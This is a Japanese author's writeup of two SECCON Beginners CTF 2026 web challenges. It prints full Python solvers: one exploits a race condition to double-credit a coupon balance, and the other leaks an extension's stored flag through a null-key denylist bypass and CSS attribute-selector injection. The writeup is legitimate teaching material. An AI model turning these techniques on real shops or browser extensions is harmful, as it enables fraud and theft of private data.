Skip to main content

SECCON Beginners CTF 2026 web writeups

· 9 min read
shio
Security / CTF / Software

SECCON Beginners CTF 2026 で、web の shoppingreview4b を作問しました。

shopping

問題文は「クーポン引換をして、豪華賞品を手に入れよう!」で、難易度は medium でした。

アプリは Flask + SQLite で、起動時に 70 ポイント分のクーポンが 1 つ登録されます。

app.py
payload = json.dumps({
"wallet": {"delta": 70},
"event": {"name": "offer.applied"},
"document": {"template": "coupon-credit"},
})
conn.execute(
"INSERT OR IGNORE INTO offers (code, payload) VALUES (?, ?)",
("SPECIAL_VOUCHER_FOR_CTF4B", payload),
)

一方で、flag の価格は 260 ポイントです。

app.py
def quote_price(item: str):
if item == "flag":
return 260
if item == "secret":
return 50

クーポン自体は customer_eventsUNIQUE(name, topic, principal) により、同一ユーザーでは 1 回しか登録できません。

schema.sql
UNIQUE(name, topic, principal)

ポイント反映は /support/statement で行われます。この処理では未適用イベントを claim し、wallet に加算してからイベントを close します。

app.py
balance = post_ledger_adjustment(conn, user_id, int(metadata["delta"]))
update_loyalty_profile(conn, user_id, balance)
close_statement_ticket(conn, int(event["id"]), token, metadata)

ここで close_statement_ticket の成否が見られていないのがポイントです。claim_statement_ticket の lock は短い lease を持つため、複数の /support/statement を少しずつずらして並列に叩くと、前の処理が終わる前に次の処理が同じイベントを再 claim できます。古い token の close は失敗しますが、加算処理はすでに走っています。

その結果、一時的に wallet cache / DB 上の残高を 70, 140, 210, 280... と増やせます。ただし audit が後から canonical_wallet_balance で正しい残高に戻すので、短い window で /cart/quote を取る必要があります。

solution/solve.py
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
futures = [
executor.submit(post_statement, i, cookies, interval)
for i in range(workers)
]

for future in concurrent.futures.as_completed(futures):
_, balance = future.result()
if balance < 260:
continue

quote = post_quote(cookies)

/cart/quote は balance が足りている時だけ署名付き quote を返します。/exchange は flag の場合、追加の減算なしで quote を検証して flag を返します。

app.py
if item == "flag":
if wants_json():
return jsonify({"ok": True, "flag": FLAG})
return FLAG

まとめると、redeem -> /support/statement を並列実行 -> 残高が 260 以上に見えた瞬間に quote -> /exchange で解けます。解法スクリプトは以下です。

web/shopping/solution/solve.py
import concurrent.futures
import sys
import time

import requests


TARGET = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://localhost:8000"
CODE = "SPECIAL_VOUCHER_FOR_CTF4B"


def post_statement(worker_id: int, cookies, interval: float):
time.sleep(worker_id * interval)
try:
r = requests.post(
f"{TARGET}/support/statement",
cookies=cookies,
timeout=10,
headers={"Accept": "application/json", "X-Worker": str(worker_id)},
)
data = r.json()
return r.status_code, int(data.get("balance", 0))
except Exception:
return 0, 0


def post_quote(cookies):
try:
r = requests.post(
f"{TARGET}/cart/quote",
cookies=cookies,
timeout=10,
headers={"Accept": "application/json"},
)
data = r.json()
return data.get("quote")
except Exception:
return None


def attempt(interval: float, quote_delay: float, workers: int = 8):
session = requests.Session()
session.get(TARGET, timeout=10)

r = session.post(f"{TARGET}/redeem", json={"code": CODE}, timeout=10)
if r.status_code not in (200, 202):
return False, f"redeem failed: {r.status_code} {r.text[:120]}"

cookies = session.cookies.get_dict()
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
futures = [
executor.submit(post_statement, i, cookies, interval)
for i in range(workers)
]

deadline = time.time() + quote_delay
for future in concurrent.futures.as_completed(futures):
_, balance = future.result()
if balance < 260:
continue

while time.time() < deadline:
quote = post_quote(cookies)
if quote:
r = session.post(
f"{TARGET}/exchange",
json={"quote": quote},
timeout=10,
)
if r.status_code == 200:
return True, r.text
time.sleep(0.03)

return False, "no quote"


def main():
candidates = [
(0.095, 3.00),
(0.105, 3.00),
(0.115, 3.00),
(0.125, 3.00),
(0.145, 3.00),
(0.165, 3.00),
(0.190, 3.00),
(0.215, 3.00),
] * 2
for interval, quote_delay in candidates:
ok, body = attempt(interval, quote_delay)
print(f"interval={interval:.3f} quote_delay={quote_delay:.2f} ok={ok} body={body[:160]}")
if ok:
return


if __name__ == "__main__":
main()

実行すると、タイミングが合った試行で flag が返ります。

$ python3 solve.py http://localhost:8000
interval=0.095 quote_delay=3.00 ok=False body=no quote
interval=0.105 quote_delay=3.00 ok=False body=no quote
interval=0.115 quote_delay=3.00 ok=True body={"ok":true,"flag":"ctf4b{Th4nk_y0u_f0r_y0ur_pur<ha5e}"}

review4b

問題文は「レビューは大変なので、拡張機能を作りました!」で、難易度は hard でした。

レビュー用ノート投稿サービスで、admin bot は Chrome 拡張機能 review4b を入れたブラウザで /notes/:id を確認します。

ノートページは CSP が強く、JavaScript は実行できません。

server.js
function noteCsp() {
return [
"default-src 'self'",
"script-src 'none'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self'",
"connect-src 'none'",
].join("; ");
}

ここで JavaScript は止められていますが、CSS はユーザーが投稿できます。/noteshtmlcss をそのまま保存し、/notes/:id では保存済み CSS を NOTE_CSS としてテンプレートへ差し込みます。

server.js
const html = getBodyField(req, "html");
const css = getBodyField(req, "css");

await saveNote({
id,
html,
css,
updatedAt: new Date().toISOString()
});
note.html
<style>
{{NOTE_CSS}}
</style>
</head>
<body>
{{NOTE_HTML}}
</body>

つまり、この問題では「ページ上で任意 JavaScript は実行できないが、任意 CSS は注入できる」という状態になります。以降の leak はこの CSS injection を使います。

一方で content script は、ページ内の data-review4b 属性を Base64 encoded JSON として解釈し、background に送ります。その返答は同じ要素の data-review4b-result に書き込まれます。

extension/content.js
const elements = document.querySelectorAll("[data-review4b]");

for (const el of elements) {
const encoded = el.getAttribute("data-review4b");
const msg = JSON.parse(atob(encoded));
const response = await chrome.runtime.sendMessage(msg);

el.setAttribute("data-review4b-result", JSON.stringify(response));
}

background 側には settings.get があり、flagsecret を含む key は拒否されます。

extension/background.js
const keys = Object.prototype.hasOwnProperty.call(msg, "keys")
? msg.keys
: DEFAULT_PUBLIC_KEYS;

if (String(keys).includes("flag") || String(keys).includes("secret")) {
throw new Error("blocked key");
}

const result = await chrome.storage.local.get(keys);

しかし WebExtensions の StorageArea.get() は、keysnull または undefined を渡すとストレージ全体を取得します。つまり chrome.storage.local.get(null) は flag を含む全 key を返します。String(null)"null" なので denylist にも引っかかりません。

payload.json
{"cmd":"settings.get","keys":null}

これで data-review4b-result には flag を含む JSON が入ります。CSP により JavaScript では読めませんが、CSS attribute selector は使えます。

また、この問題には CSS からの観測をしやすくするための endpoint として /leak/:id/leaks/:id を用意しています。/leak/:id はアクセスされたときの query string を保存して 204 No Content を返し、/leaks/:id は保存された query string の一覧を返します。

server.js
app.get("/leak/:id", async (req, res, next) => {
const { id } = req.params;
assertValidId(id);

await appendLeak(id, {
at: new Date().toISOString(),
query: req.url.includes("?") ? req.url.slice(req.url.indexOf("?") + 1) : "",
ip: req.ip
});

res.setHeader("Cache-Control", "no-store");
res.status(204).end();
});

app.get("/leaks/:id", async (req, res, next) => {
const { id } = req.params;
assertValidId(id);
const entries = await getLeaks(id);

res.type("text").send(entries.map((entry) => {
return `[${new Date(entry.at).toISOString()}] ${entry.query}`;
}).join("\n") + (entries.length ? "\n" : ""));
});

そのため、属性値に特定 prefix が含まれるときだけ /leak/:id に画像リクエストを飛ばせば、/leaks/:id でどの候補が当たったかを確認できます。

leak.css
#probe[data-review4b-result*="ctf4b{a"] {
background-image: url("/leak/NOTE_ID?r=1&v=a");
}

solver は候補文字ごとに CSS を生成し、admin に report して、/leaks/:id を見ることで当たった文字を prefix に追加します。これを } が出るまで繰り返すと flag を復元できます。解法スクリプトは以下です。

web/review4b/solution/solve.py
import base64
import json
import sys
import time
import urllib.parse

import requests


BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}-!*#$%&()+,./:;<=>?@[]^`|~"
CHUNK_SIZE = 20


def b64json(obj):
return base64.b64encode(json.dumps(obj, separators=(",", ":")).encode()).decode()


def css_escape(value):
return value.replace("\\", "\\\\").replace('"', '\\"')


def chunks(value, size):
for i in range(0, len(value), size):
yield value[i:i + size]


def build_css(note_id, prefix, candidates, round_id):
css = "#probe{display:block;width:1px;height:1px}\n"

for c in candidates:
guess = css_escape(prefix + c)
leaked = urllib.parse.quote(c, safe="")
css += (
f'#probe[data-review4b-result*="{guess}"]'
f'{{background-image:url("/leak/{note_id}?r={round_id}&v={leaked}")}}\n'
)

return css


def main():
session = requests.Session()
payload = b64json({"cmd": "settings.get", "keys": None})
html = f'<div id="probe" data-review4b="{payload}"></div>'

created = session.post(
f"{BASE}/notes",
data={"html": html, "css": "#probe{display:block;width:1px;height:1px}", "json": "1"},
timeout=10,
)
created.raise_for_status()
note_id = created.json()["id"]
print(f"note: {note_id}")

prefix = "ctf4b{"
round_id = 0

while not prefix.endswith("}"):
found = None

for candidates in chunks(ALPHABET, CHUNK_SIZE):
round_id += 1
css = build_css(note_id, prefix, candidates, round_id)

updated = session.post(
f"{BASE}/notes",
data={"id": note_id, "html": html, "css": css, "json": "1"},
timeout=10,
)
updated.raise_for_status()

reported = session.post(f"{BASE}/report/{note_id}", data={"json": "1"}, timeout=20)
reported.raise_for_status()
time.sleep(0.2)

leaks = session.get(f"{BASE}/leaks/{note_id}", timeout=10).text
for c in candidates:
leaked = urllib.parse.quote(c, safe="")
if f"r={round_id}&v={leaked}" in leaks:
found = c
break

if found is not None:
break

if found is None:
raise RuntimeError(f"no leak for prefix {prefix!r}")

prefix += found
print(prefix)


if __name__ == "__main__":
main()

実行すると、当たった文字が 1 文字ずつ追加されていきます。

$ python3 solve.py http://localhost:3000
note: 7f6d9b2a
ctf4b{e
ctf4b{ex
ctf4b{ex7
...
ctf4b{ex7enti0n_c4nt_check_nu11}